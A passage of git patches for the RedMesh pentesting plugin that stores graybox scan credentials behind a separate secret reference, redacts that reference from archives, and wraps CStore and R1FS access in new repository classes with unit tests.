resolved.get("secret_ref") + if not secret_ref: + return resolved + + payload = R1fsSecretStore(owner).load_graybox_credentials(secret_ref) + if not payload: + return resolved + + resolved.update({ + "official_username": payload.get("official_username", ""), + "official_password": payload.get("official_password", ""), + "regular_username": payload.get("regular_username", ""), + "regular_password": payload.get("regular_password", ""), + "weak_candidates": payload.get("weak_candidates"), + }) + if not include_secret_metadata: + resolved.pop("secret_ref", None) + return resolved + + +def collect_secret_refs_from_job_config(job_config: dict) -> list[str]: + secret_ref = (job_config or {}).get("secret_ref") + if isinstance(secret_ref, str) and secret_ref: + return [secret_ref] + return [] diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index e24d1f02..3688a2dc 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -295,13 +295,50 @@ def test_launch_webapp_scan_neutralizes_network_only_fields(self): plugin = self._build_mock_plugin(job_id="test-job-webcfg") self._launch_webapp(plugin) - config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + config_dict = plugin.r1fs.add_json.call_args_list[1][0][0] self.assertEqual(config_dict["scan_type"], "webapp") self.assertEqual(config_dict["exceptions"], []) self.assertEqual(config_dict["distribution_strategy"], "MIRROR") self.assertEqual(config_dict["nr_local_workers"], 1) self.assertEqual(config_dict["target_url"], "https://example.com/app") + def test_launch_webapp_scan_persists_secret_ref_not_inline_passwords(self): + """Webapp launch stores a separate secret blob and persists only secret_ref in JobConfig.""" + plugin = self._build_mock_plugin(job_id="test-job-websecret") + plugin.r1fs.add_json.side_effect = ["QmSecretCID", "QmConfigCID"] + + result = self._launch_webapp( + plugin, + official_username="admin", + official_password="secret", + regular_username="user", + regular_password="pass", + weak_candidates=["admin:admin"], + ) + + self.assertNotIn("error", result) + self.assertEqual(len(plugin.r1fs.add_json.call_args_list), 2) + + secret_doc = plugin.r1fs.add_json.call_args_list[0][0][0] + config_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + + self.assertEqual(secret_doc["kind"], "redmesh_graybox_credentials") + self.assertEqual(secret_doc["payload"]["official_password"], "secret") + self.assertEqual(secret_doc["payload"]["regular_password"], "pass") + self.assertEqual(secret_doc["payload"]["weak_candidates"], ["admin:admin"]) + + self.assertEqual(config_dict["secret_ref"], "QmSecretCID") + self.assertEqual(config_dict["official_username"], "") + self.assertEqual(config_dict["official_password"], "") + self.assertEqual(config_dict["regular_username"], "") + self.assertEqual(config_dict["regular_password"], "") + self.assertNotIn("weak_candidates", config_dict) + self.assertTrue(config_dict["has_regular_credentials"]) + self.assertTrue(config_dict["has_weak_candidates"]) + + job_specs = self._extract_job_specs(plugin, "test-job-websecret") + self.assertEqual(job_specs["job_config_cid"], "QmConfigCID") + def test_launch_webapp_scan_rejects_missing_target_url(self): """Webapp endpoint returns structured validation error for missing URL.""" plugin = self._build_mock_plugin(job_id="test-job-weberr") @@ -360,7 +397,7 @@ def test_launch_webapp_scan_persists_graybox_enabled_features_only(self): plugin = self._build_mock_plugin(job_id="test-job-webfeatures") self._launch_webapp(plugin, excluded_features=["_graybox_injection"]) - config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + config_dict = plugin.r1fs.add_json.call_args_list[1][0][0] self.assertEqual(config_dict["excluded_features"], ["_graybox_injection"]) self.assertIn("_graybox_access_control", config_dict["enabled_features"]) self.assertIn("_graybox_weak_auth", config_dict["enabled_features"]) @@ -1508,6 +1545,40 @@ def test_archive_redacts_job_config_credentials(self): self.assertEqual(archive_dict["job_config"]["weak_candidates"], ["***", "***"]) self.assertEqual(archive_dict["job_config"]["official_username"], "admin") + def test_archive_redaction_removes_secret_ref(self): + """Archived job_config does not expose secret_ref references.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + plugin.r1fs.get_json.side_effect = [ + { + "target": "example.com", + "start_port": 443, + "end_port": 443, + "run_mode": "SINGLEPASS", + "scan_type": "webapp", + "target_url": "https://example.com/app", + "redact_credentials": True, + "secret_ref": "QmSecretCID", + "official_username": "", + }, + { + "pass_nr": 1, + "date_started": 1, + "date_completed": 2, + "duration": 1, + "aggregated_report_cid": "QmAgg", + "worker_reports": {}, + "risk_score": 0, + }, + {"open_ports": [], "service_info": {}, "web_tests_info": {}}, + {"job_id": "test-job"}, + ] + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertNotIn("secret_ref", archive_dict["job_config"]) + def test_archive_duration_computed(self): """duration == date_completed - date_created, not 0.""" Plugin = self._get_plugin_class() @@ -1918,6 +1989,40 @@ def test_write_job_record_logs_stale_write(self): "write_mode": "detection_only", }) + def test_get_job_config_resolves_secret_ref_for_runtime(self): + """Runtime config loading resolves secret_ref into inline credentials.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + plugin.r1fs.get_json.side_effect = [ + { + "scan_type": "webapp", + "target_url": "https://example.com/app", + "secret_ref": "QmSecretCID", + "official_username": "", + "official_password": "", + "regular_username": "", + "regular_password": "", + }, + { + "kind": "redmesh_graybox_credentials", + "payload": { + "official_username": "admin", + "official_password": "secret", + "regular_username": "user", + "regular_password": "pass", + "weak_candidates": ["admin:admin"], + }, + }, + ] + + config = Plugin._get_job_config(plugin, {"job_config_cid": "QmConfigCID"}, resolve_secrets=True) + + self.assertEqual(config["official_username"], "admin") + self.assertEqual(config["official_password"], "secret") + self.assertEqual(config["regular_password"], "pass") + self.assertEqual(config["weak_candidates"], ["admin:admin"]) + self.assertNotIn("secret_ref", config) + def test_get_job_data_running_last_5(self): """Running job with 8 passes returns last 5 refs only.""" Plugin = self._get_plugin_class() From e6ae0b3cd9dab52448007ce3d69b7a707d08f885 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 16:44:09 +0000 Subject: [PATCH 074/114] refactor: add redmesh repository boundaries --- .../cybersec/red_mesh/pentester_api_01.py | 40 ++++++++---- .../red_mesh/repositories/__init__.py | 7 ++ .../red_mesh/repositories/artifacts.py | 27 ++++++++ .../cybersec/red_mesh/repositories/cstore.py | 41 ++++++++++++ .../cybersec/red_mesh/services/control.py | 42 ++++++++---- .../red_mesh/services/finalization.py | 22 ++++++- .../cybersec/red_mesh/services/launch_api.py | 12 +++- .../cybersec/red_mesh/services/query.py | 23 +++++-- .../cybersec/red_mesh/services/secrets.py | 17 +++-- .../red_mesh/tests/test_repositories.py | 65 +++++++++++++++++++ 10 files changed, 258 insertions(+), 38 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/repositories/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/repositories/artifacts.py create mode 100644 extensions/business/cybersec/red_mesh/repositories/cstore.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_repositories.py diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index a0a0fe59..b173e314 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -98,6 +98,7 @@ stop_monitoring, validation_error, ) +from .repositories import ArtifactRepository, JobStateRepository # Human-readable phase labels for progress reporting PHASE_LABELS = { @@ -219,6 +220,8 @@ def on_init(self): self.__last_checked_jobs = 0 self._last_progress_publish = 0 # timestamp of last live progress publish self._progress_publish_interval = self._get_progress_publish_interval() + self._job_state_repository = JobStateRepository(self) + self._artifact_repository = ArtifactRepository(self) self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False @@ -232,6 +235,20 @@ def on_init(self): )) return + def _get_job_state_repository(self): + repo = self.__dict__.get("_job_state_repository") + if not isinstance(repo, JobStateRepository): + repo = JobStateRepository(self) + self._job_state_repository = repo + return repo + + def _get_artifact_repository(self): + repo = self.__dict__.get("_artifact_repository") + if not isinstance(repo, ArtifactRepository): + repo = ArtifactRepository(self) + self._artifact_repository = repo + return repo + def _setup_semaphore_env(self): """Set semaphore environment variables for paired plugins.""" @@ -518,7 +535,7 @@ def _get_job_config(self, job_specs, resolve_secrets=False): cid = job_specs.get("job_config_cid") if not cid: return {} - config = self.r1fs.get_json(cid) + config = PentesterApi01Plugin._get_artifact_repository(self).get_json(cid) if config is None: self.P(f"Failed to fetch job config from R1FS (CID: {cid})", color='r') return {} @@ -795,7 +812,7 @@ def _write_job_record(self, job_id, job_specs, expected_revision=None, context=" This is observability only; it does not provide compare-and-swap semantics. """ - current = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + current = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) current_revision = PentesterApi01Plugin._get_job_revision(self, current) incoming_revision = PentesterApi01Plugin._get_job_revision(self, job_specs) if expected_revision is None: @@ -817,12 +834,12 @@ def _write_job_record(self, job_id, job_specs, expected_revision=None, context=" persisted = job_specs if isinstance(job_specs, dict) else dict(job_specs) persisted["job_revision"] = current_revision + 1 - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=persisted) + PentesterApi01Plugin._get_job_state_repository(self).put_job(job_id, persisted) return persisted def _delete_job_record(self, job_id): """Delete a job record from CStore.""" - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) + PentesterApi01Plugin._get_job_state_repository(self).delete_job(job_id) return @@ -1099,7 +1116,8 @@ def _build_job_archive(self, job_key, job_specs): job_id = job_specs.get("job_id", job_key) # 1. Fetch job config and redact credentials for archive storage - job_config = self.r1fs.get_json(job_specs.get("job_config_cid")) + artifacts = PentesterApi01Plugin._get_artifact_repository(self) + job_config = artifacts.get_job_config(job_specs) if job_config is None: self.P(f"Cannot build archive for {job_id}: job config not found in R1FS", color='r') return @@ -1109,7 +1127,7 @@ def _build_job_archive(self, job_key, job_specs): # 2. Fetch all pass reports passes = [] for ref in job_specs.get("pass_reports", []): - pass_data = self.r1fs.get_json(ref["report_cid"]) + pass_data = artifacts.get_pass_report(ref["report_cid"]) if pass_data is None: self.P(f"Cannot build archive for {job_id}: pass {ref['pass_nr']} not found", color='r') return @@ -1121,7 +1139,7 @@ def _build_job_archive(self, job_key, job_specs): # 3. Fetch latest aggregated report for UI aggregate computation latest_agg_cid = passes[-1].get("aggregated_report_cid") - latest_aggregated = self.r1fs.get_json(latest_agg_cid) if latest_agg_cid else None + latest_aggregated = artifacts.get_json(latest_agg_cid) if latest_agg_cid else None if not latest_aggregated: self.P(f"Cannot build archive for {job_id}: latest aggregated report not found in R1FS", color='r') return @@ -1147,13 +1165,13 @@ def _build_job_archive(self, job_key, job_specs): ) # 6. Write archive to R1FS - job_cid = self.r1fs.add_json(archive.to_dict(), show_logs=False) + job_cid = artifacts.put_json(archive.to_dict(), show_logs=False) if not job_cid: self.P(f"Archive write to R1FS failed for {job_id}", color='r') return # 7. Verify CID is retrievable - if self.r1fs.get_json(job_cid) is None: + if artifacts.get_json(job_cid) is None: self.P(f"Archive CID {job_cid} not retrievable after write for {job_id}", color='r') return @@ -1187,7 +1205,7 @@ def _build_job_archive(self, job_key, job_specs): cid = ref.get("report_cid") if cid: try: - success = self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + success = artifacts.delete(cid, show_logs=False, raise_on_error=False) if not success: self.P(f"delete_file returned False for pass report CID {cid}", color='y') except Exception as e: @@ -1207,7 +1225,7 @@ def _get_all_network_jobs(self): dict Raw mapping from job keys to specs. """ - all_workers_and_jobs = self.chainstore_hgetall(hkey=self.cfg_instance_id) + all_workers_and_jobs = PentesterApi01Plugin._get_job_state_repository(self).list_jobs() return all_workers_and_jobs diff --git a/extensions/business/cybersec/red_mesh/repositories/__init__.py b/extensions/business/cybersec/red_mesh/repositories/__init__.py new file mode 100644 index 00000000..1651d9a3 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/repositories/__init__.py @@ -0,0 +1,7 @@ +from .artifacts import ArtifactRepository +from .cstore import JobStateRepository + +__all__ = [ + "ArtifactRepository", + "JobStateRepository", +] diff --git a/extensions/business/cybersec/red_mesh/repositories/artifacts.py b/extensions/business/cybersec/red_mesh/repositories/artifacts.py new file mode 100644 index 00000000..ea5a6d97 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/repositories/artifacts.py @@ -0,0 +1,27 @@ +class ArtifactRepository: + """Repository for durable RedMesh artifacts stored in R1FS.""" + + def __init__(self, owner): + self.owner = owner + + def get_json(self, cid): + if not cid: + return None + return self.owner.r1fs.get_json(cid) + + def put_json(self, payload, *, show_logs=False): + return self.owner.r1fs.add_json(payload, show_logs=show_logs) + + def delete(self, cid, *, show_logs=False, raise_on_error=False): + if not cid: + return False + return self.owner.r1fs.delete_file(cid, show_logs=show_logs, raise_on_error=raise_on_error) + + def get_job_config(self, job_specs): + return self.get_json((job_specs or {}).get("job_config_cid")) + + def get_pass_report(self, report_cid): + return self.get_json(report_cid) + + def get_archive(self, job_specs): + return self.get_json((job_specs or {}).get("job_cid")) diff --git a/extensions/business/cybersec/red_mesh/repositories/cstore.py b/extensions/business/cybersec/red_mesh/repositories/cstore.py new file mode 100644 index 00000000..0f65f08a --- /dev/null +++ b/extensions/business/cybersec/red_mesh/repositories/cstore.py @@ -0,0 +1,41 @@ +class JobStateRepository: + """Repository for mutable RedMesh job state stored in CStore.""" + + def __init__(self, owner): + self.owner = owner + + @property + def _jobs_hkey(self): + return self.owner.cfg_instance_id + + @property + def _live_hkey(self): + return f"{self.owner.cfg_instance_id}:live" + + def get_job(self, job_id): + return self.owner.chainstore_hget(hkey=self._jobs_hkey, key=job_id) + + def list_jobs(self): + return self.owner.chainstore_hgetall(hkey=self._jobs_hkey) + + def put_job(self, job_id, value): + self.owner.chainstore_hset(hkey=self._jobs_hkey, key=job_id, value=value) + return value + + def delete_job(self, job_id): + self.owner.chainstore_hset(hkey=self._jobs_hkey, key=job_id, value=None) + return + + def list_live_progress(self): + return self.owner.chainstore_hgetall(hkey=self._live_hkey) + + def get_live_progress(self, key): + return self.owner.chainstore_hget(hkey=self._live_hkey, key=key) + + def put_live_progress(self, key, value): + self.owner.chainstore_hset(hkey=self._live_hkey, key=key, value=value) + return value + + def delete_live_progress(self, key): + self.owner.chainstore_hset(hkey=self._live_hkey, key=key, value=None) + return diff --git a/extensions/business/cybersec/red_mesh/services/control.py b/extensions/business/cybersec/red_mesh/services/control.py index a9e1c08f..bc268725 100644 --- a/extensions/business/cybersec/red_mesh/services/control.py +++ b/extensions/business/cybersec/red_mesh/services/control.py @@ -5,15 +5,30 @@ JOB_STATUS_STOPPED, RUN_MODE_CONTINUOUS_MONITORING, ) +from ..repositories import ArtifactRepository, JobStateRepository from .secrets import collect_secret_refs_from_job_config from .state_machine import set_job_status +def _job_repo(owner): + getter = getattr(type(owner), "_get_job_state_repository", None) + if callable(getter): + return getter(owner) + return JobStateRepository(owner) + + +def _artifact_repo(owner): + getter = getattr(type(owner), "_get_artifact_repository", None) + if callable(getter): + return getter(owner) + return ArtifactRepository(owner) + + def _write_job_record(owner, job_id, job_specs, context): write_job_record = getattr(type(owner), "_write_job_record", None) if callable(write_job_record): return write_job_record(owner, job_id, job_specs, context=context) - owner.chainstore_hset(hkey=owner.cfg_instance_id, key=job_id, value=job_specs) + _job_repo(owner).put_job(job_id, job_specs) return job_specs @@ -22,7 +37,7 @@ def _delete_job_record(owner, job_id): if callable(delete_job_record): delete_job_record(owner, job_id) return - owner.chainstore_hset(hkey=owner.cfg_instance_id, key=job_id, value=None) + _job_repo(owner).delete_job(job_id) def stop_and_delete_job(owner, job_id: str): @@ -39,7 +54,7 @@ def stop_and_delete_job(owner, job_id: str): owner.P(f"Job {job_id} stopped.") owner.scan_jobs.pop(job_id, None) - raw_job_specs = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + raw_job_specs = _job_repo(owner).get_job(job_id) if isinstance(raw_job_specs, dict): _, job_specs = owner._normalize_job_record(job_id, raw_job_specs) worker_entry = job_specs.setdefault("workers", {}).setdefault(owner.ee_addr, {}) @@ -61,7 +76,7 @@ def purge_job(owner, job_id: str): Purge a job: delete all R1FS artifacts, clean up live progress keys, then tombstone the CStore entry. """ - raw = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + raw = _job_repo(owner).get_job(job_id) if not isinstance(raw, dict): return {"status": "error", "message": f"Job {job_id} not found."} @@ -82,16 +97,17 @@ def _track(cid, source): owner.P(f"[PURGE] Collected CID {cid} from {source}") _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") - job_config = owner.r1fs.get_json(job_specs.get("job_config_cid")) if job_specs.get("job_config_cid") else {} + artifacts = _artifact_repo(owner) + job_config = artifacts.get_job_config(job_specs) if job_specs.get("job_config_cid") else {} if isinstance(job_config, dict): for secret_ref in collect_secret_refs_from_job_config(job_config): - _track(secret_ref, "job_config.secret_ref") + _track(secret_ref, "job_config.secret_ref") job_cid = job_specs.get("job_cid") if job_cid: _track(job_cid, "job_specs.job_cid") try: - archive = owner.r1fs.get_json(job_cid) + archive = artifacts.get_json(job_cid) if isinstance(archive, dict): owner.P(f"[PURGE] Archive fetched OK, {len(archive.get('passes', []))} passes") for pi, pass_data in enumerate(archive.get("passes", [])): @@ -112,7 +128,7 @@ def _track(cid, source): if report_cid: _track(report_cid, f"pass_reports[{ri}].report_cid") try: - pass_data = owner.r1fs.get_json(report_cid) + pass_data = artifacts.get_pass_report(report_cid) if isinstance(pass_data, dict): _track(pass_data.get("aggregated_report_cid"), f"pass_reports[{ri}]->aggregated_report_cid") for addr, wr in (pass_data.get("worker_reports") or {}).items(): @@ -128,7 +144,7 @@ def _track(cid, source): deleted, failed = 0, 0 for cid in cids: try: - success = owner.r1fs.delete_file(cid, show_logs=True, raise_on_error=False) + success = artifacts.delete(cid, show_logs=True, raise_on_error=False) if success: deleted += 1 owner.P(f"[PURGE] Deleted CID {cid}") @@ -150,14 +166,12 @@ def _track(cid, source): "message": "Some R1FS artifacts could not be deleted. Retry purge later.", } - all_live = owner.chainstore_hgetall(hkey=f"{owner.cfg_instance_id}:live") + all_live = _job_repo(owner).list_live_progress() if isinstance(all_live, dict): prefix = f"{job_id}:" for key in all_live: if key.startswith(prefix): - owner.chainstore_hset( - hkey=f"{owner.cfg_instance_id}:live", key=key, value=None - ) + _job_repo(owner).delete_live_progress(key) _delete_job_record(owner, job_id) @@ -171,7 +185,7 @@ def stop_monitoring(owner, job_id: str, stop_type: str = "SOFT"): """ Stop a job (any run mode with HARD stop, continuous-only for SOFT stop). """ - raw_job_specs = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + raw_job_specs = _job_repo(owner).get_job(job_id) if not raw_job_specs: return {"error": "Job not found", "job_id": job_id} diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py index 37e58ede..73a7fe73 100644 --- a/extensions/business/cybersec/red_mesh/services/finalization.py +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -13,9 +13,24 @@ RUN_MODE_SINGLEPASS, ) from ..models import AggregatedScanData, PassReport, PassReportRef, WorkerReportMeta +from ..repositories import ArtifactRepository, JobStateRepository from .state_machine import is_intermediate_job_status, is_terminal_job_status, set_job_status +def _job_repo(owner): + getter = getattr(type(owner), "_get_job_state_repository", None) + if callable(getter): + return getter(owner) + return JobStateRepository(owner) + + +def _artifact_repo(owner): + getter = getattr(type(owner), "_get_artifact_repository", None) + if callable(getter): + return getter(owner) + return ArtifactRepository(owner) + + def _write_job_record(owner, job_key, job_specs, context): write_job_record = getattr(type(owner), "_write_job_record", None) if callable(write_job_record): @@ -27,7 +42,8 @@ def maybe_finalize_pass(owner): """ Launcher finalizes completed passes and orchestrates continuous monitoring. """ - all_jobs = owner.chainstore_hgetall(hkey=owner.cfg_instance_id) + all_jobs = _job_repo(owner).list_jobs() + artifacts = _artifact_repo(owner) for job_key, job_specs in all_jobs.items(): normalized_key, job_specs = owner._normalize_job_record(job_key, job_specs) @@ -111,7 +127,7 @@ def maybe_finalize_pass(owner): aggregated_report_cid = None if aggregated: aggregated_data = AggregatedScanData.from_dict(aggregated).to_dict() - aggregated_report_cid = owner.r1fs.add_json(aggregated_data, show_logs=False) + aggregated_report_cid = artifacts.put_json(aggregated_data, show_logs=False) if not aggregated_report_cid: owner.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') continue @@ -186,7 +202,7 @@ def maybe_finalize_pass(owner): redmesh_test_attestation=redmesh_test_attestation, ) - pass_report_cid = owner.r1fs.add_json(pass_report.to_dict(), show_logs=False) + pass_report_cid = artifacts.put_json(pass_report.to_dict(), show_logs=False) if not pass_report_cid: owner.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') continue diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py index 526e5e80..45090781 100644 --- a/extensions/business/cybersec/red_mesh/services/launch_api.py +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -13,9 +13,17 @@ ScanType, ) from ..models import JobConfig +from ..repositories import JobStateRepository from .secrets import persist_job_config_with_secrets +def _job_repo(owner): + getter = getattr(type(owner), "_get_job_state_repository", None) + if callable(getter): + return getter(owner) + return JobStateRepository(owner) + + def validation_error(message: str): """Return a consistent validation error payload.""" return {"error": "validation_error", "message": message} @@ -317,7 +325,7 @@ def announce_launch( if callable(write_job_record): write_job_record(owner, job_id, job_specs, context="launch_test") else: - owner.chainstore_hset(hkey=owner.cfg_instance_id, key=job_id, value=job_specs) + _job_repo(owner).put_job(job_id, job_specs) owner._log_audit_event("scan_launched", { "job_id": job_id, @@ -330,7 +338,7 @@ def announce_launch( "ics_safe_mode": ics_safe_mode, }) - all_network_jobs = owner.chainstore_hgetall(hkey=owner.cfg_instance_id) + all_network_jobs = _job_repo(owner).list_jobs() report = {} for other_key, other_spec in all_network_jobs.items(): normalized_key, normalized_spec = owner._normalize_job_record(other_key, other_spec) diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index 5be90f33..a080939d 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -1,4 +1,19 @@ from ..models import JobArchive +from ..repositories import ArtifactRepository, JobStateRepository + + +def _job_repo(owner): + getter = getattr(type(owner), "_get_job_state_repository", None) + if callable(getter): + return getter(owner) + return JobStateRepository(owner) + + +def _artifact_repo(owner): + getter = getattr(type(owner), "_get_artifact_repository", None) + if callable(getter): + return getter(owner) + return ArtifactRepository(owner) def get_job_data(owner, job_id: str): @@ -46,7 +61,7 @@ def get_job_archive(owner, job_id: str): if not job_cid: return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} - archive = owner.r1fs.get_json(job_cid) + archive = _artifact_repo(owner).get_json(job_cid) if archive is None: return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} @@ -75,7 +90,7 @@ def get_job_progress(owner, job_id: str): Return real-time progress for all workers in the given job. """ live_hkey = f"{owner.cfg_instance_id}:live" - all_progress = owner.chainstore_hgetall(hkey=live_hkey) or {} + all_progress = _job_repo(owner).list_live_progress() or {} prefix = f"{job_id}:" result = {} for key, value in all_progress.items(): @@ -83,7 +98,7 @@ def get_job_progress(owner, job_id: str): worker_addr = key[len(prefix):] result[worker_addr] = value - job_specs = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + job_specs = _job_repo(owner).get_job(job_id) status = None scan_type = None if isinstance(job_specs, dict): @@ -96,7 +111,7 @@ def list_network_jobs(owner): """ Return a normalized network-job listing from CStore. """ - raw_network_jobs = owner.chainstore_hgetall(hkey=owner.cfg_instance_id) + raw_network_jobs = _job_repo(owner).list_jobs() normalized_jobs = {} for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = owner._normalize_job_record(job_key, job_spec) diff --git a/extensions/business/cybersec/red_mesh/services/secrets.py b/extensions/business/cybersec/red_mesh/services/secrets.py index 4f4476bf..213b4551 100644 --- a/extensions/business/cybersec/red_mesh/services/secrets.py +++ b/extensions/business/cybersec/red_mesh/services/secrets.py @@ -1,5 +1,14 @@ from copy import deepcopy +from ..repositories import ArtifactRepository + + +def _artifact_repo(owner): + getter = getattr(type(owner), "_get_artifact_repository", None) + if callable(getter): + return getter(owner) + return ArtifactRepository(owner) + class R1fsSecretStore: """Minimal secret-store adapter backed by a separate R1FS object.""" @@ -13,12 +22,12 @@ def save_graybox_credentials(self, job_id: str, payload: dict) -> str: "job_id": job_id, "payload": payload, } - return self.owner.r1fs.add_json(secret_doc, show_logs=False) + return _artifact_repo(self.owner).put_json(secret_doc, show_logs=False) def load_graybox_credentials(self, secret_ref: str) -> dict | None: if not secret_ref: return None - secret_doc = self.owner.r1fs.get_json(secret_ref) + secret_doc = _artifact_repo(self.owner).get_json(secret_ref) if not isinstance(secret_doc, dict): self.owner.P(f"Failed to fetch graybox secret payload from R1FS (CID: {secret_ref})", color='r') return None @@ -32,7 +41,7 @@ def delete_secret(self, secret_ref: str) -> bool: if not secret_ref: return True try: - return bool(self.owner.r1fs.delete_file(secret_ref, show_logs=False, raise_on_error=False)) + return bool(_artifact_repo(self.owner).delete(secret_ref, show_logs=False, raise_on_error=False)) except Exception as exc: self.owner.P(f"Failed to delete graybox secret ref {secret_ref}: {exc}", color='y') return False @@ -107,7 +116,7 @@ def persist_job_config_with_secrets( persisted_config["has_weak_candidates"] = bool(payload["weak_candidates"]) persisted_config = _blank_graybox_secret_fields(persisted_config) - job_config_cid = owner.r1fs.add_json(persisted_config, show_logs=False) + job_config_cid = _artifact_repo(owner).put_json(persisted_config, show_logs=False) return persisted_config, job_config_cid diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py new file mode 100644 index 00000000..709ab546 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -0,0 +1,65 @@ +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.repositories import ArtifactRepository, JobStateRepository + + +class TestJobStateRepository(unittest.TestCase): + + def _make_owner(self): + owner = MagicMock() + owner.cfg_instance_id = "test-instance" + return owner + + def test_job_state_repository_reads_and_writes_jobs(self): + owner = self._make_owner() + repo = JobStateRepository(owner) + + repo.get_job("job-1") + owner.chainstore_hget.assert_called_once_with(hkey="test-instance", key="job-1") + + repo.put_job("job-1", {"job_id": "job-1"}) + owner.chainstore_hset.assert_called_once_with(hkey="test-instance", key="job-1", value={"job_id": "job-1"}) + + def test_job_state_repository_uses_live_namespace(self): + owner = self._make_owner() + repo = JobStateRepository(owner) + + repo.list_live_progress() + owner.chainstore_hgetall.assert_called_once_with(hkey="test-instance:live") + + repo.delete_live_progress("job-1:node-A") + owner.chainstore_hset.assert_called_once_with(hkey="test-instance:live", key="job-1:node-A", value=None) + + +class TestArtifactRepository(unittest.TestCase): + + def _make_owner(self): + owner = MagicMock() + owner.r1fs = MagicMock() + return owner + + def test_artifact_repository_reads_and_writes_json(self): + owner = self._make_owner() + repo = ArtifactRepository(owner) + + repo.get_json("QmCID") + owner.r1fs.get_json.assert_called_once_with("QmCID") + + repo.put_json({"job_id": "job-1"}, show_logs=False) + owner.r1fs.add_json.assert_called_once_with({"job_id": "job-1"}, show_logs=False) + + def test_artifact_repository_job_config_helper(self): + owner = self._make_owner() + repo = ArtifactRepository(owner) + + repo.get_job_config({"job_config_cid": "QmConfig"}) + owner.r1fs.get_json.assert_called_once_with("QmConfig") + + def test_artifact_repository_delete_is_guarded_on_empty_cid(self): + owner = self._make_owner() + repo = ArtifactRepository(owner) + + self.assertFalse(repo.delete("")) + owner.r1fs.delete_file.assert_not_called() + From a51ad6f86ef4b8e65664701896ad1f4c6e73ea89 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 16:50:28 +0000 Subject: [PATCH 075/114] refactor: type redmesh repository boundaries --- .../cybersec/red_mesh/pentester_api_01.py | 7 +- .../red_mesh/repositories/artifacts.py | 50 ++++++++++ .../cybersec/red_mesh/repositories/cstore.py | 43 +++++++++ .../red_mesh/services/finalization.py | 2 +- .../cybersec/red_mesh/services/launch_api.py | 47 +++++----- .../cybersec/red_mesh/services/query.py | 9 +- .../cybersec/red_mesh/services/secrets.py | 15 ++- .../red_mesh/tests/test_repositories.py | 92 +++++++++++++++++++ 8 files changed, 229 insertions(+), 36 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index b173e314..8af51aa6 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -535,10 +535,11 @@ def _get_job_config(self, job_specs, resolve_secrets=False): cid = job_specs.get("job_config_cid") if not cid: return {} - config = PentesterApi01Plugin._get_artifact_repository(self).get_json(cid) - if config is None: + config_model = PentesterApi01Plugin._get_artifact_repository(self).get_job_config_model(job_specs) + if config_model is None: self.P(f"Failed to fetch job config from R1FS (CID: {cid})", color='r') return {} + config = config_model.to_dict() if resolve_secrets: return resolve_job_config_secrets(self, config, include_secret_metadata=False) return config @@ -1165,7 +1166,7 @@ def _build_job_archive(self, job_key, job_specs): ) # 6. Write archive to R1FS - job_cid = artifacts.put_json(archive.to_dict(), show_logs=False) + job_cid = artifacts.put_archive(archive, show_logs=False) if not job_cid: self.P(f"Archive write to R1FS failed for {job_id}", color='r') return diff --git a/extensions/business/cybersec/red_mesh/repositories/artifacts.py b/extensions/business/cybersec/red_mesh/repositories/artifacts.py index ea5a6d97..183d2e9d 100644 --- a/extensions/business/cybersec/red_mesh/repositories/artifacts.py +++ 